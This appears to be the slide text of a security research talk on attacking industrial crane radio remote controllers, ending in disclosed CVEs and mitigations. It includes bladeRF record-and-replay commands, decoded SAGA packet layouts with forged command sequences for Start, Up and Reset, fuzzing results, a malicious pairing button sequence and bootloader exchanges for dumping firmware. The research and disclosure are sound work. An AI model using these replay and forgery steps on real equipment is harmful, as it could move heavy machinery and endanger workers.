
Industrial Radio Controllers:
From Replay Attack to Firmware Reversing
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• Senior threat researcher in Trend Micro
• Threat intelligence
• Smart City
• ICS
• SDR
• Arduino + RPi makers

whoami



IT Dr. Marco Balduzzi
IT Dr. Federico Maggi
JP Akira Urano
TW Philippe Lin 
US Jonathan Andersson
US Stephen Hilt

The Research was Delivered by ...



Responsible Disclosure



Responsible Disclosure

• ZDI contacts with vendors via email / web-forms
• 5 business days?  ZDI contacts with vendors by phone / intermediary

• 15 business days? Public advisory

• 120 days  Security patches and mitigations

• Extensions  Depends
• Transparency Enforced

• RF / IoT / IIoT needs more time to deploy patches
• Certification is necessary in some sectors*
• Collaboration è Win-win



Industrial Remote Controllers



Industrial Remote Controllers?



Streetcrane [CC BY-SA 4.0 (https://creativecommons.org/licenses/by-sa/4.0)], from Wikimedia Commons



For the sake of security ...

Sample functional block diagram (courtesy of Texas 
Instruments). http://www.ti.com/lit/ds/symlink/l293.pdf

http://www.ti.com/lit/ds/symlink/l293.pdf




Special thanks to 
Robert Ghilduta!

BladeRF x115



RECORDING

bladerf> set frequency rx 438M
bladerf> set samplerate rx 10M
bladerf> set bandwidth 2.5M
bladerf> set lnagain 0
bladerf> set rxvga2 0
bladerf> print
bladerf> rx config file=saga-l8h-1.sc16q11 
format=bin n=40m
bladerf> rx start; rx wait

REPLAYING

bladerf> set frequency tx 438M
bladerf> set samplerate tx 10M
bladerf> set bandwidth 2.5M
bladerf> set txvga1 -10
bladerf> tx config file=saga-l8h-1.sc16q11 
format=bin
bladerf> tx start

Reminder: Comply with laws.  Use coax cable / Faraday cage.



• SAGA1–L8B  ç PATCHED!
• Juuko JK-800
• Circuit Design CDT-TX-02M / CDT-RX-02M
• ELCA: P Series
• Autec: Air and Dynamic series
• H �ç working with DHS, ICS-CERT and the company
• Telecrane F25

Units under Test



FCCID: NCTSAGA1L8

Packet structure and encoding according to the Saga technical 
documentation.https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-
273419

https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419


Huh? 
Hamming?



Thank you!
URH Team! https://github.com/jopohl/urh



Thank you!
URH Team!

Up

North

Down

East



MSP430F1101A
Infineon TDA5101

�

FCC schematics of the SAGA radio controller.
https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419

Modulation images from Infineon 
TDA5101 datasheet.
https://www.infineon.com/dgdl/Infineon
-TDK5101F-DS-v01_03-EN.pdf

https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419
https://www.infineon.com/dgdl/Infineon-TDK5101F-DS-v01_03-EN.pdf


Logical Analyzer: ZeroPlus LAP-C (16032)

Special thanks to ZeroPlus!

XIN
PDWN



Manchester 
encoding!



Serial No: A116352A
Begin of Packet:
0F 05 55 50 27 41 63 44 36 (Device #1 – A116 352A) Device ID XOR = 0x77
0F 05 55 50 27 41 11 50 27 (Device #2 – A116 3D18) Device ID XOR = 0x00
F0 05 55 50 27 41 63 44 36 55 50 50 11 0F (pairing)
Reset 55 50 50 11 0x44 Similar to East

Start 55 55 41 14 0x55

Up 66 55 50 36 0x55 Similar to South

Down 27 55 50 77 0x55 Similar to North

East 50 55 50 11 0x44

West 44 55 50 14 0x55

South 55 66 50 36 0x55

North 55 27 50 77 0x55

End of Packet (EOP) 55 55 50 05 0x55

Up (long press) 66 55 50 36 0x55 Identical to Up

Up (short press) 66 55 50 36 0x55 Identical to Up

Down (long press) 27 55 50 77 0x55 Identical to Down



• 0F 05 55 50 27 41 63 44 36
>>> hex(0x27 ^ 0x41 ^ 0x63 ^ 0x44 ^ 0x36)
'0x77’

• The packet repeats themselves every 112 bits,
different from the manual J

Packet Construction

1.00 00 00 0F 05 55 50 27 41 63 44 36 55 55 41 14 (Start) 37 packets + 18 EOP, wait 1 sec.
2.00 00 00 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
3.00 00 00 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
4.00 00 00 0F 0F 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
5.00 00 00 0F 0F 05 55 50 27 41 63 44 36 55 50 50 11 (Reset) 10 packets



Demo!



Packet Fuzzing (1)



• (x1 XOR x2 XOR x3 XOR x4) == 55, AA, 95, B5, D5
I don't really know why they are accepted...

Packet Fuzzing (2)

Fuzzed Key Pattern Accepted Values (red = original)

UP 66 55 50 xx 36, B6, C9, CA, D6, F6

DOWN 27 55 50 xx 77, 87, 88, 89, 8F, 97, B7, F7

DOWN 27 55 xx 77 50, 90, A0, A8, AC, AE, AF, B0, D0



• Can we change the ID-Code?
• Not really ...

Packet Fuzzing (3)

Fuzzed ID Checksum XOR ID-Code

27 41 63 44 41
50
63
72
05
14
27
C9
40
44

00
11
22
33
44
55
66
88!
01!
05

A1163523
A1163521
A1163525
A1163527
A116352E
A116352C
A1163528
A11635ER !
Radio Error  !
A1163522



Malicious Pairing  (Default = Disabled J)

• Press STOP and lock it
• Press DOWN and don’t release it
• Press UP and release it for 4 times

RECORDING

bladerf> set frequency rx 438M
bladerf> set samplerate rx 10M
bladerf> set bandwidth 2.5M
bladerf> set lnagain 0
bladerf> set rxvga2 0
bladerf> print
bladerf> rx config file=saga-l8h-1.sc16q11 format=bin 
n=40m
bladerf> rx start; rx wait

REPLAYING

bladerf> set frequency tx 320.73M
bladerf> set samplerate tx 10M
bladerf> set bandwidth 2.5M
bladerf> set txvga1 -10
bladerf> tx config file=saga-l8h-1.sc16q11 format=bin
bladerf> tx start



Firmware ... How?

• JTAG
• SBW (2-wire)

(Evaluation Version)



Firmware ... How?

Source: Texas Instrument (SLAU319R) MSP430™ Flash Device Bootloader (BSL)

• JTAG !
• SBW !



• Travis Goodspeed @25C3
• But ...

Bootstrap Loader!

Images by Travis 
Goodspeed are 
licensed under CC BY-
NC-ND 2.0

https://creativecommons.org/licenses/by-nc-nd/2.0/de/


So I decided to cheat ...

FCC schematics of the SAGA radio controller.
https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419

https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419


MSP430F1101A BSL

• 1KB Bootloader
• After TST/RST
• Password is 16 * 2 bytes == IVT
• BSL ver 1.3

From MSP430 Datasheet (courtesy of Texas Instruments).
http://www.ti.com/lit/ug/slau319t/slau319t.pdf

http://www.ti.com/lit/ug/slau319t/slau319t.pdf


TX

RX



A1163D18 (TX)
TX(UART) 80 (Sync)
RX(UART) 90
TX(UART) 80 10 24 24 E0 FF 20 00 00 F0 98 F4 98 F4 98 F4 98 F4 00 F0 72 F3 00 F0 00 F0 72 F3 00 F0 00 F0 00 F0 00 F0 00 F0 00 F0 9B 34
RX(UART) A0 (DATA_NAK) Mass erase should have been disabled.
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 10 24 24 E0 FF 20 00 00 F0 00 F0 00 FD 00 FD 00 FD 00 F0 00 FA 00 F0 00 F0 00 FA 00 F0 00 F0 00 F0 00 F0 00 F0 00 F0 9B 39
RX(UART) 90 (DATA_ACK)
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 14 04 04 80 10 80 00 7B FF (Read from information flash, size = 128 bytes)
RX(UART) 80 00 80 80 EE F0 00 0F 96 3C CC 0F 96 16 00 F9 40 1F 00 B8 EF 0A 20 20 06 26 00 01 00 00 01 01 B8 B8 16 00 55 42 80 10 55 E2 81 
10 55 52 82 10 55 E2 83 10 55 52 84 10 55 E2 85 10 55 52 86 10 55 E2 87 10 55 52 88 10 55 E2 FF 10 30 41 55 42 80 10 55 52 81 10 55 E2 82 
10 55 52 83 10 55 E2 84 10 55 52 85 10 55 E2 86 10 55 52 87 10 55 E2 88 10 55 52 FE 10 30 41 01 01 01 FF FF FF FF FF FF FF E4 FE E1 00
TX(UART) 80 (Sync)
RX(UART) 90 (DATA_ACK)
TX(UART) 80 14 04 04 D0 FF 0F 00 A4 10 (Read from code flash, size = 15 bytes)
RX(UART) 80 00 0F 0F FF FF FF FF FF FF FF FF FF FF FF FF FF 89 04 00 00 F0 00

RX password
AX=FFE0h

Len = 32

BSL Password on my device

MSPFet.EXE +r "psw.txt" -BSL=COM5



Check Flash Integrity



• F000h = Entry point / NMI entry / main loop
• FA00h = Timer_A
• FD00h = Button ISR

ISR



• FSKDATA = P2.0

FSK (1) – Rotate and Send



DOWN Vcc
Firmware: EE F0 00 0F 96 3C CC 0F 96 96 00 0F 66 EE
Radio: 0F 05 55 50 27 41 11 50 27 27 55 50 77 0F

EAST Vcc
Firmware: EE F0 00 0F 96 3C CC 0F 96 0F 00 0F CC EE
Radio: 0F 05 55 50 27 41 11 50 27 50 55 50 11 0F

DOWN EAST Vcc
220h = 09   221h = 00   222h = 01
Data:    EE F0 00 0F 96 3C CC 0F 96 99 00 0F 5A EE
Radio:  0F 05 55 50 27 41 11 50 27 22 55 50 63 0F

FSK (2) – Mismatch and Fix



Conclusion



Responsible Disclosure
• SAGA fixed the issue in November.
• ZDI-CAN-6187 ELCA P series replay attack (EOL)
• ZDI-CAN-6183 Autec air series replay attack (closed)
• ZDI-CAN-6185 CircuitDesign replay attack (closed)
• ZDI-18-1336 Juuko replay attack (no CVE)
• CVE-2018-17903 SAGA replay attack / command forgery (A0.10)
• CVE-2018-17935 Telecrane replay attack (00.0A)
• ZDI-18-1362 Juuko command forgery (0day)
• CVE-2018-20783 SAGA malicious pairing (A0.10)
• CVE-2018-17923 SAGA malicious firmware upgrade (A0.10)



Conclusion & Mitigation (1)

Physical security
• Open chassis à mass erase

Key points:
Ø Protect your customers
Ø Not to prevent security researchers



Conclusion & Mitigation (2)

Firmware security
ü Blow up JTAG fuses
ü Mass erase if wrong BSL password
ü Avoid vulnerable BSL versions
ü Probe-sensitive circuits

Key points:
Ø Prevent firmware from being siphoned



Conclusion & Mitigation (3)

Radio security
• Use standard protocols
• Encrypt
• Rolling code
• Right design for emergency stop

Key points:
Ø Prevent script-kiddie attacks
Ø Learn from consumer products



Collaboration for win-win


